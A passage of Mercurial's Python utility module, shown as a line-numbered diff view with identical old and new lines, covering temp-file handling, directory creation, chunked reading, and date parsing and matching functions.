1760 if newstat.isambig(oldstat):
1764 if newstat.isambig(oldstat):
1761 # stat of changed file is ambiguous to original one
1765 # stat of changed file is ambiguous to original one
1762 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1766 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1763 os.utime(filename, (advanced, advanced))
1767 os.utime(filename, (advanced, advanced))
1764 else:
1768 else:
1765 rename(self._tempname, filename)
1769 rename(self._tempname, filename)
1766
1770
1767 def discard(self):
1771 def discard(self):
1768 if not self._fp.closed:
1772 if not self._fp.closed:
1769 try:
1773 try:
1770 os.unlink(self._tempname)
1774 os.unlink(self._tempname)
1771 except OSError:
1775 except OSError:
1772 pass
1776 pass
1773 self._fp.close()
1777 self._fp.close()
1774
1778
1775 def __del__(self):
1779 def __del__(self):
1776 if safehasattr(self, '_fp'): # constructor actually did something
1780 if safehasattr(self, '_fp'): # constructor actually did something
1777 self.discard()
1781 self.discard()
1778
1782
1779 def __enter__(self):
1783 def __enter__(self):
1780 return self
1784 return self
1781
1785
1782 def __exit__(self, exctype, excvalue, traceback):
1786 def __exit__(self, exctype, excvalue, traceback):
1783 if exctype is not None:
1787 if exctype is not None:
1784 self.discard()
1788 self.discard()
1785 else:
1789 else:
1786 self.close()
1790 self.close()
1787
1791
1788 def unlinkpath(f, ignoremissing=False):
1792 def unlinkpath(f, ignoremissing=False):
1789 """unlink and remove the directory if it is empty"""
1793 """unlink and remove the directory if it is empty"""
1790 if ignoremissing:
1794 if ignoremissing:
1791 tryunlink(f)
1795 tryunlink(f)
1792 else:
1796 else:
1793 unlink(f)
1797 unlink(f)
1794 # try removing directories that might now be empty
1798 # try removing directories that might now be empty
1795 try:
1799 try:
1796 removedirs(os.path.dirname(f))
1800 removedirs(os.path.dirname(f))
1797 except OSError:
1801 except OSError:
1798 pass
1802 pass
1799
1803
1800 def tryunlink(f):
1804 def tryunlink(f):
1801 """Attempt to remove a file, ignoring ENOENT errors."""
1805 """Attempt to remove a file, ignoring ENOENT errors."""
1802 try:
1806 try:
1803 unlink(f)
1807 unlink(f)
1804 except OSError as e:
1808 except OSError as e:
1805 if e.errno != errno.ENOENT:
1809 if e.errno != errno.ENOENT:
1806 raise
1810 raise
1807
1811
1808 def makedirs(name, mode=None, notindexed=False):
1812 def makedirs(name, mode=None, notindexed=False):
1809 """recursive directory creation with parent mode inheritance
1813 """recursive directory creation with parent mode inheritance
1810
1814
1811 Newly created directories are marked as "not to be indexed by
1815 Newly created directories are marked as "not to be indexed by
1812 the content indexing service", if ``notindexed`` is specified
1816 the content indexing service", if ``notindexed`` is specified
1813 for "write" mode access.
1817 for "write" mode access.
1814 """
1818 """
1815 try:
1819 try:
1816 makedir(name, notindexed)
1820 makedir(name, notindexed)
1817 except OSError as err:
1821 except OSError as err:
1818 if err.errno == errno.EEXIST:
1822 if err.errno == errno.EEXIST:
1819 return
1823 return
1820 if err.errno != errno.ENOENT or not name:
1824 if err.errno != errno.ENOENT or not name:
1821 raise
1825 raise
1822 parent = os.path.dirname(os.path.abspath(name))
1826 parent = os.path.dirname(os.path.abspath(name))
1823 if parent == name:
1827 if parent == name:
1824 raise
1828 raise
1825 makedirs(parent, mode, notindexed)
1829 makedirs(parent, mode, notindexed)
1826 try:
1830 try:
1827 makedir(name, notindexed)
1831 makedir(name, notindexed)
1828 except OSError as err:
1832 except OSError as err:
1829 # Catch EEXIST to handle races
1833 # Catch EEXIST to handle races
1830 if err.errno == errno.EEXIST:
1834 if err.errno == errno.EEXIST:
1831 return
1835 return
1832 raise
1836 raise
1833 if mode is not None:
1837 if mode is not None:
1834 os.chmod(name, mode)
1838 os.chmod(name, mode)
1835
1839
1836 def readfile(path):
1840 def readfile(path):
1837 with open(path, 'rb') as fp:
1841 with open(path, 'rb') as fp:
1838 return fp.read()
1842 return fp.read()
1839
1843
1840 def writefile(path, text):
1844 def writefile(path, text):
1841 with open(path, 'wb') as fp:
1845 with open(path, 'wb') as fp:
1842 fp.write(text)
1846 fp.write(text)
1843
1847
1844 def appendfile(path, text):
1848 def appendfile(path, text):
1845 with open(path, 'ab') as fp:
1849 with open(path, 'ab') as fp:
1846 fp.write(text)
1850 fp.write(text)
1847
1851
1848 class chunkbuffer(object):
1852 class chunkbuffer(object):
1849 """Allow arbitrary sized chunks of data to be efficiently read from an
1853 """Allow arbitrary sized chunks of data to be efficiently read from an
1850 iterator over chunks of arbitrary size."""
1854 iterator over chunks of arbitrary size."""
1851
1855
1852 def __init__(self, in_iter):
1856 def __init__(self, in_iter):
1853 """in_iter is the iterator that's iterating over the input chunks."""
1857 """in_iter is the iterator that's iterating over the input chunks."""
1854 def splitbig(chunks):
1858 def splitbig(chunks):
1855 for chunk in chunks:
1859 for chunk in chunks:
1856 if len(chunk) > 2**20:
1860 if len(chunk) > 2**20:
1857 pos = 0
1861 pos = 0
1858 while pos < len(chunk):
1862 while pos < len(chunk):
1859 end = pos + 2 ** 18
1863 end = pos + 2 ** 18
1860 yield chunk[pos:end]
1864 yield chunk[pos:end]
1861 pos = end
1865 pos = end
1862 else:
1866 else:
1863 yield chunk
1867 yield chunk
1864 self.iter = splitbig(in_iter)
1868 self.iter = splitbig(in_iter)
1865 self._queue = collections.deque()
1869 self._queue = collections.deque()
1866 self._chunkoffset = 0
1870 self._chunkoffset = 0
1867
1871
1868 def read(self, l=None):
1872 def read(self, l=None):
1869 """Read L bytes of data from the iterator of chunks of data.
1873 """Read L bytes of data from the iterator of chunks of data.
1870 Returns less than L bytes if the iterator runs dry.
1874 Returns less than L bytes if the iterator runs dry.
1871
1875
1872 If size parameter is omitted, read everything"""
1876 If size parameter is omitted, read everything"""
1873 if l is None:
1877 if l is None:
1874 return ''.join(self.iter)
1878 return ''.join(self.iter)
1875
1879
1876 left = l
1880 left = l
1877 buf = []
1881 buf = []
1878 queue = self._queue
1882 queue = self._queue
1879 while left > 0:
1883 while left > 0:
1880 # refill the queue
1884 # refill the queue
1881 if not queue:
1885 if not queue:
1882 target = 2**18
1886 target = 2**18
1883 for chunk in self.iter:
1887 for chunk in self.iter:
1884 queue.append(chunk)
1888 queue.append(chunk)
1885 target -= len(chunk)
1889 target -= len(chunk)
1886 if target <= 0:
1890 if target <= 0:
1887 break
1891 break
1888 if not queue:
1892 if not queue:
1889 break
1893 break
1890
1894
1891 # The easy way to do this would be to queue.popleft(), modify the
1895 # The easy way to do this would be to queue.popleft(), modify the
1892 # chunk (if necessary), then queue.appendleft(). However, for cases
1896 # chunk (if necessary), then queue.appendleft(). However, for cases
1893 # where we read partial chunk content, this incurs 2 dequeue
1897 # where we read partial chunk content, this incurs 2 dequeue
1894 # mutations and creates a new str for the remaining chunk in the
1898 # mutations and creates a new str for the remaining chunk in the
1895 # queue. Our code below avoids this overhead.
1899 # queue. Our code below avoids this overhead.
1896
1900
1897 chunk = queue[0]
1901 chunk = queue[0]
1898 chunkl = len(chunk)
1902 chunkl = len(chunk)
1899 offset = self._chunkoffset
1903 offset = self._chunkoffset
1900
1904
1901 # Use full chunk.
1905 # Use full chunk.
1902 if offset == 0 and left >= chunkl:
1906 if offset == 0 and left >= chunkl:
1903 left -= chunkl
1907 left -= chunkl
1904 queue.popleft()
1908 queue.popleft()
1905 buf.append(chunk)
1909 buf.append(chunk)
1906 # self._chunkoffset remains at 0.
1910 # self._chunkoffset remains at 0.
1907 continue
1911 continue
1908
1912
1909 chunkremaining = chunkl - offset
1913 chunkremaining = chunkl - offset
1910
1914
1911 # Use all of unconsumed part of chunk.
1915 # Use all of unconsumed part of chunk.
1912 if left >= chunkremaining:
1916 if left >= chunkremaining:
1913 left -= chunkremaining
1917 left -= chunkremaining
1914 queue.popleft()
1918 queue.popleft()
1915 # offset == 0 is enabled by block above, so this won't merely
1919 # offset == 0 is enabled by block above, so this won't merely
1916 # copy via ``chunk[0:]``.
1920 # copy via ``chunk[0:]``.
1917 buf.append(chunk[offset:])
1921 buf.append(chunk[offset:])
1918 self._chunkoffset = 0
1922 self._chunkoffset = 0
1919
1923
1920 # Partial chunk needed.
1924 # Partial chunk needed.
1921 else:
1925 else:
1922 buf.append(chunk[offset:offset + left])
1926 buf.append(chunk[offset:offset + left])
1923 self._chunkoffset += left
1927 self._chunkoffset += left
1924 left -= chunkremaining
1928 left -= chunkremaining
1925
1929
1926 return ''.join(buf)
1930 return ''.join(buf)
1927
1931
1928 def filechunkiter(f, size=131072, limit=None):
1932 def filechunkiter(f, size=131072, limit=None):
1929 """Create a generator that produces the data in the file size
1933 """Create a generator that produces the data in the file size
1930 (default 131072) bytes at a time, up to optional limit (default is
1934 (default 131072) bytes at a time, up to optional limit (default is
1931 to read all data). Chunks may be less than size bytes if the
1935 to read all data). Chunks may be less than size bytes if the
1932 chunk is the last chunk in the file, or the file is a socket or
1936 chunk is the last chunk in the file, or the file is a socket or
1933 some other type of file that sometimes reads less data than is
1937 some other type of file that sometimes reads less data than is
1934 requested."""
1938 requested."""
1935 assert size >= 0
1939 assert size >= 0
1936 assert limit is None or limit >= 0
1940 assert limit is None or limit >= 0
1937 while True:
1941 while True:
1938 if limit is None:
1942 if limit is None:
1939 nbytes = size
1943 nbytes = size
1940 else:
1944 else:
1941 nbytes = min(limit, size)
1945 nbytes = min(limit, size)
1942 s = nbytes and f.read(nbytes)
1946 s = nbytes and f.read(nbytes)
1943 if not s:
1947 if not s:
1944 break
1948 break
1945 if limit:
1949 if limit:
1946 limit -= len(s)
1950 limit -= len(s)
1947 yield s
1951 yield s
1948
1952
1949 def makedate(timestamp=None):
1953 def makedate(timestamp=None):
1950 '''Return a unix timestamp (or the current time) as a (unixtime,
1954 '''Return a unix timestamp (or the current time) as a (unixtime,
1951 offset) tuple based off the local timezone.'''
1955 offset) tuple based off the local timezone.'''
1952 if timestamp is None:
1956 if timestamp is None:
1953 timestamp = time.time()
1957 timestamp = time.time()
1954 if timestamp < 0:
1958 if timestamp < 0:
1955 hint = _("check your clock")
1959 hint = _("check your clock")
1956 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1960 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1957 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1961 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1958 datetime.datetime.fromtimestamp(timestamp))
1962 datetime.datetime.fromtimestamp(timestamp))
1959 tz = delta.days * 86400 + delta.seconds
1963 tz = delta.days * 86400 + delta.seconds
1960 return timestamp, tz
1964 return timestamp, tz
1961
1965
1962 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1966 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1963 """represent a (unixtime, offset) tuple as a localized time.
1967 """represent a (unixtime, offset) tuple as a localized time.
1964 unixtime is seconds since the epoch, and offset is the time zone's
1968 unixtime is seconds since the epoch, and offset is the time zone's
1965 number of seconds away from UTC.
1969 number of seconds away from UTC.
1966
1970
1967 >>> datestr((0, 0))
1971 >>> datestr((0, 0))
1968 'Thu Jan 01 00:00:00 1970 +0000'
1972 'Thu Jan 01 00:00:00 1970 +0000'
1969 >>> datestr((42, 0))
1973 >>> datestr((42, 0))
1970 'Thu Jan 01 00:00:42 1970 +0000'
1974 'Thu Jan 01 00:00:42 1970 +0000'
1971 >>> datestr((-42, 0))
1975 >>> datestr((-42, 0))
1972 'Wed Dec 31 23:59:18 1969 +0000'
1976 'Wed Dec 31 23:59:18 1969 +0000'
1973 >>> datestr((0x7fffffff, 0))
1977 >>> datestr((0x7fffffff, 0))
1974 'Tue Jan 19 03:14:07 2038 +0000'
1978 'Tue Jan 19 03:14:07 2038 +0000'
1975 >>> datestr((-0x80000000, 0))
1979 >>> datestr((-0x80000000, 0))
1976 'Fri Dec 13 20:45:52 1901 +0000'
1980 'Fri Dec 13 20:45:52 1901 +0000'
1977 """
1981 """
1978 t, tz = date or makedate()
1982 t, tz = date or makedate()
1979 if "%1" in format or "%2" in format or "%z" in format:
1983 if "%1" in format or "%2" in format or "%z" in format:
1980 sign = (tz > 0) and "-" or "+"
1984 sign = (tz > 0) and "-" or "+"
1981 minutes = abs(tz) // 60
1985 minutes = abs(tz) // 60
1982 q, r = divmod(minutes, 60)
1986 q, r = divmod(minutes, 60)
1983 format = format.replace("%z", "%1%2")
1987 format = format.replace("%z", "%1%2")
1984 format = format.replace("%1", "%c%02d" % (sign, q))
1988 format = format.replace("%1", "%c%02d" % (sign, q))
1985 format = format.replace("%2", "%02d" % r)
1989 format = format.replace("%2", "%02d" % r)
1986 d = t - tz
1990 d = t - tz
1987 if d > 0x7fffffff:
1991 if d > 0x7fffffff:
1988 d = 0x7fffffff
1992 d = 0x7fffffff
1989 elif d < -0x80000000:
1993 elif d < -0x80000000:
1990 d = -0x80000000
1994 d = -0x80000000
1991 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1995 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1992 # because they use the gmtime() system call which is buggy on Windows
1996 # because they use the gmtime() system call which is buggy on Windows
1993 # for negative values.
1997 # for negative values.
1994 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1998 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1995 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1999 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1996 return s
2000 return s
1997
2001
1998 def shortdate(date=None):
2002 def shortdate(date=None):
1999 """turn (timestamp, tzoff) tuple into iso 8631 date."""
2003 """turn (timestamp, tzoff) tuple into iso 8631 date."""
2000 return datestr(date, format='%Y-%m-%d')
2004 return datestr(date, format='%Y-%m-%d')
2001
2005
2002 def parsetimezone(s):
2006 def parsetimezone(s):
2003 """find a trailing timezone, if any, in string, and return a
2007 """find a trailing timezone, if any, in string, and return a
2004 (offset, remainder) pair"""
2008 (offset, remainder) pair"""
2005
2009
2006 if s.endswith("GMT") or s.endswith("UTC"):
2010 if s.endswith("GMT") or s.endswith("UTC"):
2007 return 0, s[:-3].rstrip()
2011 return 0, s[:-3].rstrip()
2008
2012
2009 # Unix-style timezones [+-]hhmm
2013 # Unix-style timezones [+-]hhmm
2010 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
2014 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
2011 sign = (s[-5] == "+") and 1 or -1
2015 sign = (s[-5] == "+") and 1 or -1
2012 hours = int(s[-4:-2])
2016 hours = int(s[-4:-2])
2013 minutes = int(s[-2:])
2017 minutes = int(s[-2:])
2014 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
2018 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
2015
2019
2016 # ISO8601 trailing Z
2020 # ISO8601 trailing Z
2017 if s.endswith("Z") and s[-2:-1].isdigit():
2021 if s.endswith("Z") and s[-2:-1].isdigit():
2018 return 0, s[:-1]
2022 return 0, s[:-1]
2019
2023
2020 # ISO8601-style [+-]hh:mm
2024 # ISO8601-style [+-]hh:mm
2021 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
2025 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
2022 s[-5:-3].isdigit() and s[-2:].isdigit()):
2026 s[-5:-3].isdigit() and s[-2:].isdigit()):
2023 sign = (s[-6] == "+") and 1 or -1
2027 sign = (s[-6] == "+") and 1 or -1
2024 hours = int(s[-5:-3])
2028 hours = int(s[-5:-3])
2025 minutes = int(s[-2:])
2029 minutes = int(s[-2:])
2026 return -sign * (hours * 60 + minutes) * 60, s[:-6]
2030 return -sign * (hours * 60 + minutes) * 60, s[:-6]
2027
2031
2028 return None, s
2032 return None, s
2029
2033
2030 def strdate(string, format, defaults=None):
2034 def strdate(string, format, defaults=None):
2031 """parse a localized time string and return a (unixtime, offset) tuple.
2035 """parse a localized time string and return a (unixtime, offset) tuple.
2032 if the string cannot be parsed, ValueError is raised."""
2036 if the string cannot be parsed, ValueError is raised."""
2033 if defaults is None:
2037 if defaults is None:
2034 defaults = {}
2038 defaults = {}
2035
2039
2036 # NOTE: unixtime = localunixtime + offset
2040 # NOTE: unixtime = localunixtime + offset
2037 offset, date = parsetimezone(string)
2041 offset, date = parsetimezone(string)
2038
2042
2039 # add missing elements from defaults
2043 # add missing elements from defaults
2040 usenow = False # default to using biased defaults
2044 usenow = False # default to using biased defaults
2041 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
2045 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
2042 part = pycompat.bytestr(part)
2046 part = pycompat.bytestr(part)
2043 found = [True for p in part if ("%"+p) in format]
2047 found = [True for p in part if ("%"+p) in format]
2044 if not found:
2048 if not found:
2045 date += "@" + defaults[part][usenow]
2049 date += "@" + defaults[part][usenow]
2046 format += "@%" + part[0]
2050 format += "@%" + part[0]
2047 else:
2051 else:
2048 # We've found a specific time element, less specific time
2052 # We've found a specific time element, less specific time
2049 # elements are relative to today
2053 # elements are relative to today
2050 usenow = True
2054 usenow = True
2051
2055
2052 timetuple = time.strptime(encoding.strfromlocal(date),
2056 timetuple = time.strptime(encoding.strfromlocal(date),
2053 encoding.strfromlocal(format))
2057 encoding.strfromlocal(format))
2054 localunixtime = int(calendar.timegm(timetuple))
2058 localunixtime = int(calendar.timegm(timetuple))
2055 if offset is None:
2059 if offset is None:
2056 # local timezone
2060 # local timezone
2057 unixtime = int(time.mktime(timetuple))
2061 unixtime = int(time.mktime(timetuple))
2058 offset = unixtime - localunixtime
2062 offset = unixtime - localunixtime
2059 else:
2063 else:
2060 unixtime = localunixtime + offset
2064 unixtime = localunixtime + offset
2061 return unixtime, offset
2065 return unixtime, offset
2062
2066
2063 def parsedate(date, formats=None, bias=None):
2067 def parsedate(date, formats=None, bias=None):
2064 """parse a localized date/time and return a (unixtime, offset) tuple.
2068 """parse a localized date/time and return a (unixtime, offset) tuple.
2065
2069
2066 The date may be a "unixtime offset" string or in one of the specified
2070 The date may be a "unixtime offset" string or in one of the specified
2067 formats. If the date already is a (unixtime, offset) tuple, it is returned.
2071 formats. If the date already is a (unixtime, offset) tuple, it is returned.
2068
2072
2069 >>> parsedate(b' today ') == parsedate(
2073 >>> parsedate(b' today ') == parsedate(
2070 ... datetime.date.today().strftime('%b %d').encode('ascii'))
2074 ... datetime.date.today().strftime('%b %d').encode('ascii'))
2071 True
2075 True
2072 >>> parsedate(b'yesterday ') == parsedate(
2076 >>> parsedate(b'yesterday ') == parsedate(
2073 ... (datetime.date.today() - datetime.timedelta(days=1)
2077 ... (datetime.date.today() - datetime.timedelta(days=1)
2074 ... ).strftime('%b %d').encode('ascii'))
2078 ... ).strftime('%b %d').encode('ascii'))
2075 True
2079 True
2076 >>> now, tz = makedate()
2080 >>> now, tz = makedate()
2077 >>> strnow, strtz = parsedate(b'now')
2081 >>> strnow, strtz = parsedate(b'now')
2078 >>> (strnow - now) < 1
2082 >>> (strnow - now) < 1
2079 True
2083 True
2080 >>> tz == strtz
2084 >>> tz == strtz
2081 True
2085 True
2082 """
2086 """
2083 if bias is None:
2087 if bias is None:
2084 bias = {}
2088 bias = {}
2085 if not date:
2089 if not date:
2086 return 0, 0
2090 return 0, 0
2087 if isinstance(date, tuple) and len(date) == 2:
2091 if isinstance(date, tuple) and len(date) == 2:
2088 return date
2092 return date
2089 if not formats:
2093 if not formats:
2090 formats = defaultdateformats
2094 formats = defaultdateformats
2091 date = date.strip()
2095 date = date.strip()
2092
2096
2093 if date == 'now' or date == _('now'):
2097 if date == 'now' or date == _('now'):
2094 return makedate()
2098 return makedate()
2095 if date == 'today' or date == _('today'):
2099 if date == 'today' or date == _('today'):
2096 date = datetime.date.today().strftime(r'%b %d')
2100 date = datetime.date.today().strftime(r'%b %d')
2097 date = encoding.strtolocal(date)
2101 date = encoding.strtolocal(date)
2098 elif date == 'yesterday' or date == _('yesterday'):
2102 elif date == 'yesterday' or date == _('yesterday'):
2099 date = (datetime.date.today() -
2103 date = (datetime.date.today() -
2100 datetime.timedelta(days=1)).strftime(r'%b %d')
2104 datetime.timedelta(days=1)).strftime(r'%b %d')
2101 date = encoding.strtolocal(date)
2105 date = encoding.strtolocal(date)
2102
2106
2103 try:
2107 try:
2104 when, offset = map(int, date.split(' '))
2108 when, offset = map(int, date.split(' '))
2105 except ValueError:
2109 except ValueError:
2106 # fill out defaults
2110 # fill out defaults
2107 now = makedate()
2111 now = makedate()
2108 defaults = {}
2112 defaults = {}
2109 for part in ("d", "mb", "yY", "HI", "M", "S"):
2113 for part in ("d", "mb", "yY", "HI", "M", "S"):
2110 # this piece is for rounding the specific end of unknowns
2114 # this piece is for rounding the specific end of unknowns
2111 b = bias.get(part)
2115 b = bias.get(part)
2112 if b is None:
2116 if b is None:
2113 if part[0:1] in "HMS":
2117 if part[0:1] in "HMS":
2114 b = "00"
2118 b = "00"
2115 else:
2119 else:
2116 b = "0"
2120 b = "0"
2117
2121
2118 # this piece is for matching the generic end to today's date
2122 # this piece is for matching the generic end to today's date
2119 n = datestr(now, "%" + part[0:1])
2123 n = datestr(now, "%" + part[0:1])
2120
2124
2121 defaults[part] = (b, n)
2125 defaults[part] = (b, n)
2122
2126
2123 for format in formats:
2127 for format in formats:
2124 try:
2128 try:
2125 when, offset = strdate(date, format, defaults)
2129 when, offset = strdate(date, format, defaults)
2126 except (ValueError, OverflowError):
2130 except (ValueError, OverflowError):
2127 pass
2131 pass
2128 else:
2132 else:
2129 break
2133 break
2130 else:
2134 else:
2131 raise error.ParseError(_('invalid date: %r') % date)
2135 raise error.ParseError(_('invalid date: %r') % date)
2132 # validate explicit (probably user-specified) date and
2136 # validate explicit (probably user-specified) date and
2133 # time zone offset. values must fit in signed 32 bits for
2137 # time zone offset. values must fit in signed 32 bits for
2134 # current 32-bit linux runtimes. timezones go from UTC-12
2138 # current 32-bit linux runtimes. timezones go from UTC-12
2135 # to UTC+14
2139 # to UTC+14
2136 if when < -0x80000000 or when > 0x7fffffff:
2140 if when < -0x80000000 or when > 0x7fffffff:
2137 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2141 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2138 if offset < -50400 or offset > 43200:
2142 if offset < -50400 or offset > 43200:
2139 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2143 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2140 return when, offset
2144 return when, offset
2141
2145
2142 def matchdate(date):
2146 def matchdate(date):
2143 """Return a function that matches a given date match specifier
2147 """Return a function that matches a given date match specifier
2144
2148
2145 Formats include:
2149 Formats include:
2146
2150
2147 '{date}' match a given date to the accuracy provided
2151 '{date}' match a given date to the accuracy provided
2148
2152
2149 '<{date}' on or before a given date
2153 '<{date}' on or before a given date
2150
2154
2151 '>{date}' on or after a given date
2155 '>{date}' on or after a given date
2152
2156
2153 >>> p1 = parsedate(b"10:29:59")
2157 >>> p1 = parsedate(b"10:29:59")
2154 >>> p2 = parsedate(b"10:30:00")
2158 >>> p2 = parsedate(b"10:30:00")
2155 >>> p3 = parsedate(b"10:30:59")
2159 >>> p3 = parsedate(b"10:30:59")
2156 >>> p4 = parsedate(b"10:31:00")
2160 >>> p4 = parsedate(b"10:31:00")
2157 >>> p5 = parsedate(b"Sep 15 10:30:00 1999")
2161 >>> p5 = parsedate(b"Sep 15 10:30:00 1999")
2158 >>> f = matchdate(b"10:30")
2162 >>> f = matchdate(b"10:30")
2159 >>> f(p1[0])
2163 >>> f(p1[0])
2160 False
2164 False
2161 >>> f(p2[0])
2165 >>> f(p2[0])
2162 True
2166 True
2163 >>> f(p3[0])
2167 >>> f(p3[0])
2164 True
2168 True
2165 >>> f(p4[0])
2169 >>> f(p4[0])
2166 False
2170 False
2167 >>> f(p5[0])
2171 >>> f(p5[0])
2168 False
2172 False
2169 """
2173 """
2170
2174
2171 def lower(date):
2175 def lower(date):
2172 d = {'mb': "1", 'd': "1"}
2176 d = {'mb': "1", 'd': "1"}
2173 return parsedate(date, extendeddateformats, d)[0]
2177 return parsedate(date, extendeddateformats, d)[0]
2174
2178
2175 def upper(date):
2179 def upper(date):
2176 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2180 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2177 for days in ("31", "30", "29"):
2181 for days in ("31", "30", "29"):
2178 try:
2182 try:
2179 d["d"] = days
2183 d["d"] = days
2180 return parsedate(date, extendeddateformats, d)[0]
2184 return parsedate(date, extendeddateformats, d)[0]
2181 except Abort:
2185 except Abort:
2182 pass
2186 pass
2183 d["d"] = "28"
2187 d["d"] = "28"
2184 return parsedate(date, extendeddateformats, d)[0]
2188 return parsedate(date, extendeddateformats, d)[0]
2185
2189
2186 date = date.strip()
2190 date = date.strip()
2187
2191
2188 if not date:
2192 if not date:
2189 raise Abort(_("dates cannot consist entirely of whitespace"))
2193 raise Abort(_("dates cannot consist entirely of whitespace"))
2190 elif date[0] == "<":
2194 elif date[0] == "<":
2191 if not date[1:]:
2195 if not date[1:]:
2192 raise Abort(_("invalid day spec, use '<DATE'"))
2196 raise Abort(_("invalid day spec, use '<DATE'"))
2193 when = upper(date[1:])
2197 when = upper(date[1:])
2194 return lambda x: x <= when
2198 return lambda x: x <= when
2195 elif date[0] == ">":
2199 elif date[0] == ">":
2196 if not date[1:]:
2200 if not date[1:]:
2197 raise Abort(_("invalid day spec, use '>DATE'"))
2201 raise Abort(_("invalid day spec, use '>DATE'"))
2198 when = lower(date[1:])
2202 when = lower(date[1:])
2199 return lambda x: x >= when
2203 return lambda x: x >= when
2200 elif date[0] == "-":
2204 elif date[0] == "-":
2201 try:
2205 try:
2202 days = int(date[1:])
2206 days = int(date[1:])
2203 except ValueError:
2207 except ValueError:
2204 raise Abort(_("invalid day spec: %s") % date[1:])
2208 raise Abort(_("invalid day spec: %s") % date[1:])
2205 if days < 0:
2209 if days < 0:
2206 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2210 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2207 % date[1:])
2211 % date[1:])
2208 when = makedate()[0] - days * 3600 * 24
2212 when = makedate()[0] - days * 3600 * 24
2209 return lambda x: x >= when
2213 return lambda x: x >= when
2210 elif " to " in date:
2214 elif " to " in date:
2211 a, b = date.split(" to ")
2215 a, b = date.split(" to ")
2212 start, stop = lower(a), upper(b)
2216 start, stop = lower(a), upper(b)
2213 return lambda x: x >= start and x <= stop
2217 return lambda x: x >= start and x <= stop
2214 else:
2218 else:
2215 start, stop = lower(date), upper(date)
2219 start, stop = lower(date), upper(date)
2216 return lambda x: x >= start and x <= stop
2220 return lambda x: x >= start and x <= stop
2217
2221
2218 def stringmatcher(pattern, casesensitive=True):
2222 def stringmatcher(pattern, casesensitive=True):
2219 """
2223 """
2220 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2224 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2221 returns the matcher name, pattern, and matcher function.
2225 returns the matcher name, pattern, and matcher function.
2222 missing or unknown prefixes are treated as literal matches.
2226 missing or unknown prefixes are treated as literal matches.
2223
2227
2224 helper for tests:
2228 helper for tests:
2225 >>> def test(pattern, *tests):
2229 >>> def test(pattern, *tests):
2226 ... kind, pattern, matcher = stringmatcher(pattern)
2230 ... kind, pattern, matcher = stringmatcher(pattern)
2227 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2231 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2228 >>> def itest(pattern, *tests):
2232 >>> def itest(pattern, *tests):
2229 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2233 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2230 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2234 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2231
2235
2232 exact matching (no prefix):
2236 exact matching (no prefix):
2233 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
2237 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
2234 ('literal', 'abcdefg', [False, False, True])
2238 ('literal', 'abcdefg', [False, False, True])
2235
2239
2236 regex matching ('re:' prefix)
2240 regex matching ('re:' prefix)
2237 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
2241 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
2238 ('re', 'a.+b', [False, False, True])
2242 ('re', 'a.+b', [False, False, True])
2239
2243
2240 force exact matches ('literal:' prefix)
2244 force exact matches ('literal:' prefix)
2241 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
2245 >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
2242 ('literal', 're:foobar', [False, True])
2246 ('literal', 're:foobar', [False, True])
2243
2247
2244 unknown prefixes are ignored and treated as literals
2248 unknown prefixes are ignored and treated as literals
2245 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
2249 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
2246 ('literal', 'foo:bar', [False, False, True])
2250 ('literal', 'foo:bar', [False, False, True])
2247
2251
2248 case insensitive regex matches
2252 case insensitive regex matches
2249 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
2253 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
2250 ('re', 'A.+b', [False, False, True])
2254 ('re', 'A.+b', [False, False, True])
2251
2255
2252 case insensitive literal matches
2256 case insensitive literal matches
2253 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
2257 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
2254 ('literal', 'ABCDEFG', [False, False, True])
2258 ('literal', 'ABCDEFG', [False, False, True])
2255 """
2259 """
2256 if pattern.startswith('re:'):
2260 if pattern.startswith('re:'):
